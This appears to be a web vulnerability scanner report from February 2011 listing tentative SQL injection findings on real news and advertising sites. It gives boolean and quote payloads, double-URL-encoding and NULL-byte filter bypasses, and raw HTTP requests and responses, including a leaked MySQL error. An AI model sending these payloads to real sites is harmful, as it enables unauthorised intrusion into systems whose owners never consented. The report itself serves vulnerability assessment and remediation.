SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) Content-Length: 325 _onnection: close Content-Type: text/html; charset=iso-8859-1 Date: Mon, 14 Feb 2011 21:25:49 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /static/rtb' and 1=1-- /sync-min.html was not found o ...[SNIP]... </p> <hr> <address>Apache/2.2.3 (Red Hat) Server at assets.rubiconproject.com Port 80</address> </body></html>
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) Content-Length: 234 _onnection: close Content-Type: text/html; charset=iso-8859-1 Date: Mon, 14 Feb 2011 21:25:49 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /static/rtb' and 1=2-- /sync-min.html was not found o ...[SNIP]... </p> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) Content-Length: 325 _onnection: close Content-Type: text/html; charset=iso-8859-1 Date: Mon, 14 Feb 2011 21:24:42 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /static/rtb/sync-min.html' and 1=1-- was not found o ...[SNIP]... </p> <hr> <address>Apache/2.2.3 (Red Hat) Server at assets.rubiconproject.com Port 80</address> </body></html>
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (Red Hat) Content-Length: 234 _onnection: close Content-Type: text/html; charset=iso-8859-1 Date: Mon, 14 Feb 2011 21:24:42 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /static/rtb/sync-min.html' and 1=2-- was not found o ...[SNIP]... </p> </body></html>
The esi parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the esi parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Mon, 14 Feb 2011 20:25:03 GMT Connection: close Cache-Control: no-store Content-Length: 22560
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
1.4. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://core.insightexpressai.com
Path:
/adServer/GetInvite2.aspx
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Mon, 14 Feb 2011 20:25:15 GMT Connection: close Cache-Control: no-store Content-Length: 22576
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The referer parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the referer parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Mon, 14 Feb 2011 20:25:07 GMT Connection: close Cache-Control: no-store Content-Length: 22562
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]...
The amp;to parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the amp;to parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /wd/UserWidget?u=thedailybeast&to=1%20and%201%3d1--%20&or=vb&wid=1&cb=1297715604821 HTTP/1.1 Host: ct.buzzfeed.com Proxy-Connection: keep-alive Referer: http://www.thedailybeast.com/blogs-and-stories/2011-02-14/kenneth-lerer-the-stealth-partner-in-huffington-post-aol-sale/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Content-Type: text/javascript; charset=ISO-8859-1 Date: Mon, 14 Feb 2011 20:34:38 GMT Expires: Mon, 14 Feb 2011 21:34:38 GMT Server: lighttpd bf1 Content-Length: 10372
/* s 15:34:38 02/14/2011 */ /* g 15:34:39 02/14/2011 - sl=29399 */
1.7. http://ct.buzzfeed.com/wd/UserWidget [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://ct.buzzfeed.com
Path:
/wd/UserWidget
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /wd/UserWidget?u=thedailybeast&to=1&or=vb&wid=1&cb=1297715604821&1%20and%201%3d1--%20=1 HTTP/1.1 Host: ct.buzzfeed.com Proxy-Connection: keep-alive Referer: http://www.thedailybeast.com/blogs-and-stories/2011-02-14/kenneth-lerer-the-stealth-partner-in-huffington-post-aol-sale/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Content-Type: text/javascript; charset=ISO-8859-1 Date: Mon, 14 Feb 2011 20:35:07 GMT Expires: Mon, 14 Feb 2011 21:35:07 GMT Server: lighttpd bf2 Content-Length: 10412
The cver parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the cver parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the cver request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 14 Feb 2011 20:04:16 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 14-Feb-2011 20:03:56 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: exchange_uid=eyIyIjogWyI0NzYwNDkyOTk5MjEzODAxNzMzIiwgNzM0MTcwXSwgIjQiOiBbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsIDczNDE4Ml19; Domain=invitemedia.com; expires=Tue, 14-Feb-2012 20:04:16 GMT; Path=/ Content-Length: 43
The frequency cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the frequency cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 14 Feb 2011 20:04:17 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 14-Feb-2011 20:03:57 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Content-Length: 43
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 14 Feb 2011 20:04:14 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 14-Feb-2011 20:03:54 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: exchange_uid="eyIyIjogWyI0NzYwNDkyOTk5MjEzODAxNzMzIiwgNzM0MTcwXSwgIjQiOiBbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWScnIiwgNzM0MTgyXX0="; Domain=invitemedia.com; expires=Tue, 14-Feb-2012 20:04:14 GMT; Path=/ Content-Length: 43
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /showct?sid=852&ct=NBCAMINEWS&num=3&layt=1 HTTP/1.1 Host: ilinks.industrybrains.com Proxy-Connection: keep-alive Referer: http://www.nbcmiami.com/news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html?dr&1%20and%201%3d1--%20=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13%2527 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Connection: close Date: Mon, 14 Feb 2011 20:23:37 GMT Server: Microsoft-IIS/6.0 Cache-Control: no-cache, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 14 Feb 2011 20:23:37 GMT Content-Type: text/html; charset=windows-1252 Content-Length: 9141
<style type="text/css" xmlns:ibn="urn:industrybrains.com:linkserver"> body {overflow: hidden;} </style><table width="310px" border="0" cellpadding="0" cellspacing="0" xmlns:ibn="urn:indus ...[SNIP]... 6208bc3d5014a432f180a626a835afe4106841082ec007a2960abba351c9d4726e4a88e156399939be67abfd78198388bd155239e042a16384c39c2b354d7bf4d627755b77ca69d8dbb2581d76740ed76ef751e6c4e61ac5b70be844a5973dfe6092f3d">Exceptional Service, No Hidden-Fees & Competitive Prices - Guaranteed!</a> ...[SNIP]...
Request 2
GET /showct?sid=852&ct=NBCAMINEWS&num=3&layt=1 HTTP/1.1 Host: ilinks.industrybrains.com Proxy-Connection: keep-alive Referer: http://www.nbcmiami.com/news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html?dr&1%20and%201%3d1--%20=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13%2527%2527 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Connection: close Date: Mon, 14 Feb 2011 20:23:37 GMT Server: Microsoft-IIS/6.0 Cache-Control: no-cache, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 14 Feb 2011 20:23:37 GMT Content-Type: text/html; charset=windows-1252 Content-Length: 8688
The vehicle parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the vehicle parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /zip.aspx?regionalZipCode=null&vehicle=cube'&dcp=zmm.50658539.&dcc=40676258.226884165 HTTP/1.1 Host: local.nissanusa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Server: Apache/2.2.15 (Fedora) X-Powered-By: PHP/5.3.2 Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Feb 2011 20:05:42 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 14 Feb 2011 20:05:42 GMT Content-Length: 6558 Connection: close Set-Cookie: PHPSESSID=5sl4j9evsvc175trdinnvn98c7; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... </div> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '27' AND a.version = 'en' AND ac.category_page='ZPA' AND' at line 5
Request 2
GET /zip.aspx?regionalZipCode=null&vehicle=cube''&dcp=zmm.50658539.&dcc=40676258.226884165 HTTP/1.1 Host: local.nissanusa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: Apache/2.2.15 (Fedora) X-Powered-By: PHP/5.3.2 Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Feb 2011 20:05:42 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 14 Feb 2011 20:05:42 GMT Content-Length: 16950 Connection: close Set-Cookie: PHPSESSID=h4uscg4ast5gr5hc2vhht9mn12; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads 19609074'%20or%201%3d1--%20 and 19609074'%20or%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The k parameter appears to be vulnerable to SQL injection attacks. The payloads 20698732'%20or%201%3d1--%20 and 20698732'%20or%201%3d2--%20 were each submitted in the k parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The put_2132 cookie appears to be vulnerable to SQL injection attacks. The payloads 14208738'%20or%201%3d1--%20 and 14208738'%20or%201%3d2--%20 were each submitted in the put_2132 cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /APM/iview/289800145/direct HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F; Referer: http://www.google.com/search?hl=en&q='
Response 1
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6562 Content-Type: text/html Expires: 0 Connection: close Date: Mon, 14 Feb 2011 20:07:38 GMT Connection: close
GET /APM/iview/289800145/direct HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F; Referer: http://www.google.com/search?hl=en&q=''
Response 2
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 251 Content-Type: text/html Expires: 0 Connection: close Date: Mon, 14 Feb 2011 20:07:47 GMT Connection: close
1.17. http://redcated/APM/iview/289800145/direct [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://redcated
Path:
/APM/iview/289800145/direct
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /APM/iview/289800145/direct?1%00'=1 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;
Response 1
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6545 Content-Type: text/html Expires: 0 Connection: close Date: Mon, 14 Feb 2011 20:07:35 GMT Connection: close
GET /APM/iview/289800145/direct?1%00''=1 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;
Response 2
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 252 Content-Type: text/html Expires: 0 Connection: close Date: Mon, 14 Feb 2011 20:07:36 GMT Connection: close
The persistent_uid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the persistent_uid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
1.19. http://www.france24.com/en/all-wire [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.france24.com
Path:
/en/all-wire
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /en/all-wire?1'%20and%201%3d1--%20=1 HTTP/1.1 Host: www.france24.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 14 Feb 2011 20:10:06 GMT Content-Type: text/html; charset=utf-8 Cache-Control: must-revalidate, max-age=2368, post-check=0, pre-check=0 Expires: Mon, 14 Feb 2011 20:49:36 GMT Date: Mon, 14 Feb 2011 20:10:08 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120816
GET /en/all-wire?1'%20and%201%3d2--%20=1 HTTP/1.1 Host: www.france24.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 14 Feb 2011 20:10:10 GMT Content-Type: text/html; charset=utf-8 Cache-Control: must-revalidate, max-age=2358, post-check=0, pre-check=0 Expires: Mon, 14 Feb 2011 20:49:30 GMT Date: Mon, 14 Feb 2011 20:10:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 120806
1.20. http://www.ians.in/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.ians.in
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 14508982%20or%201%3d1--%20 and 14508982%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?114508982%20or%201%3d1--%20=1 HTTP/1.1 Host: www.ians.in Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access / on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.ians.in Port 80</address> </body></html>
Request 2
GET /?114508982%20or%201%3d2--%20=1 HTTP/1.1 Host: www.ians.in Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 404 Not Found Date: Mon, 14 Feb 2011 20:09:55 GMT Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Vary: Accept-Encoding Content-Length: 493 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /0 was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.ians.in Port 80</address> </body></html>
1.21. http://www.nbcmiami.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.nbcmiami.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 10092696%20or%201%3d1--%20 and 10092696%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?110092696%20or%201%3d1--%20=1 HTTP/1.1 Host: www.nbcmiami.com Proxy-Connection: keep-alive Referer: http://www.nbcmiami.com/news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html?dr&1%20and%201%3d1--%20=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qseg=Q_D|Q_T|Q_2168|Q_2167|Q_2004|Q_1999|Q_1997|Q_1996|Q_1991|Q_1962|Q_1956|Q_1955|Q_1917|Q_1914|Q_1557|Q_387|Q_386|Q_385|Q_384|Q_383|Q_382|Q_334|Q_326|Q_325|Q_320|Q_316; snas_noinfo=1; s_cc=true; __qca=P0-655398647-1297714683470; mmsegs=AA%3D5%3BAD%3D1%3BAF%3D1%3BAG%3D1%3BAI%3D1%3BAL%3D5%3BAM%3D5%3BAR%3D1%3BAS%3D1%3BAU%3D1; _chartbeat2=lwxz603ji4q384z2; s_nr=1297714704177; s_sq=nbcuglobal%2Cnbculimdivisionprod%2Cnbculimmiamiprod%3D%2526pid%253DExplosion%252520Blows%252520Lid%252520Off%252520Broward%252520Grow%252520House%2526pidt%253D1%2526oid%253Dhttp%25253A//www.nbcmiami.com/%2526ot%253DA
<meta name="description" content="Miami local news, national news and Miami breaking news stories. Get the latest about Miami business, Miami sports, Miami traffic, Miami weather, Miami health news and Miami events on NBC Miami." />
<meta name="description" content="Miami local news, national news and Miami breaking news stories. Get the latest about Miami business, Miami sports, Miami traffic, Miami weather, Miami health news and Miami events on NBC Miami." />
1.22. http://www.nbcmiami.com/news/local-beat/Explosion-Blows-Lid-Off-Broward-Grow-House-116149574.html [name of an arbitrarily supplied request parameter]previousnext
